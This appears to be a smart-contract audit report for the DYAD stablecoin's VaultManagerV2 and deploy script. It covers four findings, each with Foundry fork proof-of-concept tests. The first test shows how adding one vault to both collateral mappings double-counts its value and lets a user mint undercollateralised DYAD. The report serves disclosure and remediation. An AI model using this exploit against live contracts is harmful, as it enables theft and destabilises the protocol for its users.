DYAD - n4nika's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L91

Vulnerability details

DYAD is per description a stablecoin which has a collateralization ratio of 150% meaning for every 1.5$ worth of exogenous collateral we deposit into a vault we should only ever be able to mint 1 DYAD. Unfortunatly there exists a critical issue in the VaultManagerV2 contract making it possible to mint 1 DYAD for 1$ worth of collateral. Looking at VaultManagerV2, a user can add vaults which contain exogenous collateral and vaultsKerosene which contain Kerosene. For both these mappings, there is one function (add and addKerosene) to add vaults to a user's dNFT.

function add(
    uint    id,
    address vault
) 
  external
    isDNftOwner(id)
{
  if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
  if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
  if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
  emit Added(id, vault);
}

function addKerosene(
    uint    id,
    address vault
) 
  external
    isDNftOwner(id)
{
  if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
  if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
  if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
  emit Added(id, vault);
}

In order to add a vault to these mappings, the vault needs to be licensed which can only be done by the vaultLicenser and the keroseneManager respectively. Looking at the deploy script Deploy.V2.sol we can see that for the exogenous vaults ethVault and wstEth get licensed. For the kerosene vaults, ethVault, wstEth and unboundedKerosineVault get licensed. The issue arises because ethVault and wstEth get licensed for both exogenous vaults and kerosene vaultsKerosene. This means a user can add the ethVault to their vaults and vaultsKerosene.

Impact

Let's have a look at the mintDyad function:

function mintDyad(
  uint    id,
  uint    amount,
  address to
)
  external 
    isDNftOwner(id)
{
  uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
  if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat(); // [1]
  dyad.mint(id, to, amount);
  if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); // [2] (MIN_COLLATERALIZATION_RATIO = 1.5e18 = 150%)
  emit MintDyad(id, amount, to);
}

At [1] we check if we deposited enough exogenous collateral to theoretically mint the wanted amount of DYAD. Then at [2] after minting the DYAD we check if we adhere to the 150% collateralization rate.

Looking at collatRatio we can see:

function collatRatio(
  uint id
)
  public 
  view
  returns (uint) {
    uint _dyad = dyad.mintedDyad(address(this), id);
    if (_dyad == 0) return type(uint).max;
    return getTotalUsdValue(id).divWadDown(_dyad);
}

function getTotalUsdValue(
  uint id
) 
  public 
  view
  returns (uint) {
    return getNonKeroseneValue(id) + getKeroseneValue(id);
}

Here we take the amount of DYAD we ever minted and divide the totalUsdValue of our dNFT by that number. In getTotalUsdValue we just add the nonKeroseneValue and the keroseneValue of our dNFT. These functions iterate over all the objects in vaults and vaultsKerosene respectively, returning the sum of the values of the vaults. The value of a vault is taken by calling vault.getUsdValue. If we now added the same vault to vaults and vaultsKerosene, getTotalUsdValue will return a value twice as high as the actual value we deposited into that vault. If we now assume we deposited 0.1 ether and assume this is worth 300$, we should only be able to mint 300/1.5 = 200 DYAD. But since we inflated the totalUsdValue of our dNFT we can now mint 600/1.5 = 400 DYAD without triggering the check at [2] but cannot mint more than 300 DYAD due to the check at [1].

This causes the DYAD to not be 150% collateralized anymore causing the stablecoin to be possibly less stable and more volatile.

Proof of Concept

add the following contract to test/NFTHolder.sol

pragma solidity =0.8.17;

import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
contract NFTHolder is ERC721Holder {

  constructor() {}
  fallback() external payable {}
}

add the following function to test/fork/v2test.sol

function testAddNonKeroseneVaultToKeroseneVaults() public {
  NFTHolder holder = new NFTHolder();

  vm.deal(address(holder), 1 ether);
  uint nft_id1 = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(address(holder));
  uint nft_id2 = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(address(holder));

  // get 1 WETH
  vm.prank(address(MAINNET_WETH));
  ERC20(MAINNET_WETH).transferFrom(address(MAINNET_WETH), address(holder), 1 ether);

  vm.startPrank(address(holder));

  console.log("Holder's DYAD before: ", Dyad(MAINNET_DYAD).balanceOf(address(holder)));
  console.log("Holder's WETH before: ", ERC20(MAINNET_WETH).balanceOf(address(holder)));

  ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 10 ether);
  contracts.vaultManager.deposit(nft_id1, address(contracts.ethVault), 0.1 ether);

  // first issue: we can add the ethVault to both "vaults" and "vaultsKerosene", this causes all the following issues
  contracts.vaultManager.add(nft_id1, address(contracts.ethVault));
  contracts.vaultManager.addKerosene(nft_id1, address(contracts.ethVault));

  Vault vault = Vault(contracts.ethVault);

  uint etherValue = 0.1 ether * vault.assetPrice()
                * 1e18 
                / 10**vault.oracle().decimals() 
                / 10**vault.asset().decimals();

  // second issue: we can mint 100% of our deposited value due to the CR check not triggering because we added the same vault twice
  // making the contract think we added twice the value than we actually did
  contracts.vaultManager.mintDyad(nft_id1, etherValue, address(holder));

  console.log("Holder's DYAD after: ", Dyad(MAINNET_DYAD).balanceOf(address(holder)));
  console.log("Holder's WETH after: ", ERC20(MAINNET_WETH).balanceOf(address(holder)));

  vm.stopPrank();
}

Tools Used

Manual review

Recommended Mitigation Steps

Either do not license vaults for both keroseneManager and vaultLicenser, or add a check in the add* functions to check whether the vault's asset is Kerosene or any exogenous asset.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L95

Vulnerability details

As stated in the description, DYAD should always be backed by 150% exogenous collateral. This should be achieved by having separate vaults for on one side Kerosene and on the other side WETH and WSTETH. These two mappings vaults and vaultsKerosene are taken respectively when calculating either the exogenous or Kerosene value of a user's dNFT. Due to this, vaults should only ever contain vaults containing exogenous collateral. This is furthermore enforced by having two separate licensers for both mappings. Unfortunately, in the deploy script a Kerosene vault (unboundedKerosineVault) gets licensed for the exogenous collateral mapping.

Impact

This causes a user to be able to add the unboundedKerosineVault to their vaults mapping causing them to be able to mint DYAD against Kerosene. This would cause the stablecoin to become unstable and allow positions to be backed fully only by Kerosene, negatively impacting the protocol and violating one of its basic concepts.

Proof of Concept

add the following contract to test/NFTHolder.sol

pragma solidity =0.8.17;

import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
contract NFTHolder is ERC721Holder {

  constructor() {}
  fallback() external payable {}
}

add the following function to test/fork/v2test.sol

function testAbleToAddKeroseneVaultToVaults() public {
  NFTHolder holder = new NFTHolder();

  vm.deal(address(holder), 1 ether);
  uint nft_id1 = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(address(holder));

  vm.startPrank(address(holder));
  
  // this should not be possible but it is
  contracts.vaultManager.add(nft_id1, address(contracts.unboundedKerosineVault));

  vm.stopPrank();
}

Executing this test will succeed, adding the unboundedKerosineVault to the exogenous vaults.

Tools Used

Manual review

Recommended Mitigation Steps

Do not license Kerosene vaults for the vaultLicenser

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L65

Vulnerability details

When calculating the assetPrice in KerosineManager the vaults' values are added to get the TVL. Later the dyad.totalSupply() gets subtracted from this. If the TVL is lower than the DYAD total supply, this action reverts with an underflow error. In the contest's description it is stated that there is an invariant TVL > DYAD total supply. This invariant however is not always true. When the protocol gets updated to V2, new vaults ethVault and wstEth are created. At the time of deployment these vaults contain no assets meaning the TVL at the time of transition is 0 because no funds get transfered into these vaults in the deploy script. Therefore the TVL will be lower than the total DYAD supply until enough ether has been deposited into these vaults or has been transferred from the old V1 vaults.

Impact

The Kerosine price cannot be calculated because the function assetPrice() will revert with an arithmetic underflow or overflow error until the TVL is at least equal to the total DYAD total supply. This also causes the Kerosene vaults to be unusable until then. This is especially impactful for users since the unboundedKerosineVault is licensed in the deploy script but essentially unusable.

Proof of Concept

add the following to test/fork/v2test.sol

// The following reverts in assetPrice()
function testCannotRetrieveKerosenePrice() public {
  console.log(contracts.unboundedKerosineVault.assetPrice());
}

When executing this test, it will revert and we won't be able to retrieve the current Kerosene price.

Tools Used

Manual review

Recommended Mitigation Steps

Transfer assets from the old vaults into the new ones.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L64-L65

Vulnerability details

In the deploy script, the only vaults that get licensed in the kerosineManager are ethVault and wstEth but no Kerosene vault.

Impact

This causes users to be unable to use kerosene vaults as intended.

Proof of Concept

add the following contract to test/NFTHolder.sol

pragma solidity =0.8.17;

import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
contract NFTHolder is ERC721Holder {

  constructor() {}
  fallback() external payable {}
}

add the following function to test/fork/v2test.sol

function testCannotAddKeroseneVault() public {
  NFTHolder holder = new NFTHolder();

  vm.deal(address(holder), 1 ether);
  uint nft_id1 = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(address(holder));

  vm.startPrank(address(holder));
  
  // this reverts even though it should not
  contracts.vaultManager.addKerosene(nft_id1, address(contracts.unboundedKerosineVault));

  vm.stopPrank();
}

This will revert with VaultNotLicensed() even though it needs to be licensed for proper use of the protocol.

Tools Used

Manual review

Recommended Mitigation Steps

License the unboundedKerosineVault for the kerosineManager in the deploy script.

Assessed type

Other